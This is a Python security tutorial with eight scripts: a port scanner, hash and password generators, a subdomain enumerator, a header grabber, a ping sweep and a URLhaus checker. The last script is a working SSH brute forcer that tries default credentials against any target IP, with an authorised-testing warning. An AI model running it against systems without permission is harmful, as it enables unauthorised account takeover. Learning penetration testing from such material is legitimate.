Skip to content
PythonSecurity ScriptsAutomationIntermediate

Python for Cybersecurity – 8 Security Scripts

Write Python cybersecurity scripts from scratch. Port scanner, hash generator, password generator, subdomain enumerator, brute forcer, and more.

⏱ 45 min read📅 Updated September 2026✍️ Zentrion Security Team

Prerequisites

# Python 3.8+ required
python3 --version

# Install dependencies
pip install requests paramiko dnspython colorama

Script 1: TCP Port Scanner

import socket
import concurrent.futures

def scan_port(host, port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(0.5)
        result = s.connect_ex((host, port))
        s.close()
        return port if result == 0 else None
    except:
        return None

host = input("Target IP: ")
ports = range(1, 1025)

print(f"Scanning {host}...")
with concurrent.futures.ThreadPoolExecutor(max_workers=100) as executor:
    results = list(executor.map(lambda p: scan_port(host, p), ports))

open_ports = [p for p in results if p]
for port in open_ports:
    print(f"[+] Port {port} OPEN")

Script 2: Hash Generator

import hashlib

text = input("Enter text to hash: ").encode()

algorithms = ['md5', 'sha1', 'sha256', 'sha512']
for algo in algorithms:
    h = hashlib.new(algo, text).hexdigest()
    print(f"{algo.upper():12} {h}")

Script 3: Secure Password Generator

import secrets
import string

def generate_password(length=16, use_symbols=True):
    chars = string.ascii_letters + string.digits
    if use_symbols:
        chars += "!@#$%^&*()-_=+[]{}|;:,.<>?"
    return ''.join(secrets.choice(chars) for _ in range(length))

length = int(input("Password length (default 16): ") or "16")
for i in range(5):
    print(f"  {generate_password(length)}")

Script 4: Subdomain Enumerator

import dns.resolver
import concurrent.futures

SUBDOMAINS = ['www','mail','ftp','dev','api','admin','test',
              'staging','vpn','portal','remote','secure','app']

def check_subdomain(domain, sub):
    try:
        fqdn = f"{sub}.{domain}"
        answers = dns.resolver.resolve(fqdn, 'A')
        return fqdn, str(answers[0])
    except:
        return None

domain = input("Domain (e.g. example.com): ")
print(f"Enumerating subdomains of {domain}...")

with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
    results = executor.map(lambda s: check_subdomain(domain, s), SUBDOMAINS)

for r in results:
    if r:
        print(f"[+] {r[0]} → {r[1]}")

Script 5: HTTP Header Grabber

import requests

url = input("Enter URL (with https://): ")
try:
    r = requests.head(url, timeout=5, allow_redirects=True)
    print(f"Status: {r.status_code}")
    print("Headers:")
    for k, v in r.headers.items():
        print(f"  {k}: {v}")
except Exception as e:
    print(f"Error: {e}")

Script 6: Ping Sweep (IP Range)

import subprocess
import ipaddress
import concurrent.futures

def ping(ip):
    result = subprocess.run(
        ['ping', '-c', '1', '-W', '1', str(ip)],
        capture_output=True, text=True)
    return str(ip) if 'bytes from' in result.stdout else None

network = input("CIDR (e.g. 192.168.1.0/24): ")
hosts = list(ipaddress.ip_network(network, strict=False).hosts())

print(f"Scanning {len(hosts)} hosts...")
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
    for result in executor.map(ping, hosts):
        if result:
            print(f"[UP] {result}")

Script 7: URL Safety Checker (URLhaus)

import requests

url = input("URL to check: ")
resp = requests.post(
    "https://urlhaus-api.abuse.ch/v1/url/",
    data={"url": url},
    timeout=10
)
data = resp.json()

if data.get("query_status") == "is_listed":
    print(f"[!] MALICIOUS: {data.get('threat', 'unknown threat')}")
    print(f"    Tags: {', '.join(data.get('tags', []))}")
else:
    print("[✓] Not found in URLhaus database")

Script 8: SSH Brute Force (Authorised Testing Only)

⚠️ Only use on systems you own or have written permission to test.
import paramiko

host = input("Target IP: ")
users = ["admin", "root", "ubuntu", "pi"]
passwords = ["password", "123456", "admin", "raspberry", "letmein"]

for user in users:
    for pwd in passwords:
        try:
            client = paramiko.SSHClient()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            client.connect(host, username=user, password=pwd, timeout=3)
            print(f"[+] SUCCESS → {user}:{pwd}")
            client.close()
            break
        except paramiko.AuthenticationException:
            print(f"[-] Failed: {user}:{pwd}")
        except Exception as e:
            break
📚 More Scripts: Python for Pentesters (GitHub) — 20+ additional security scripts.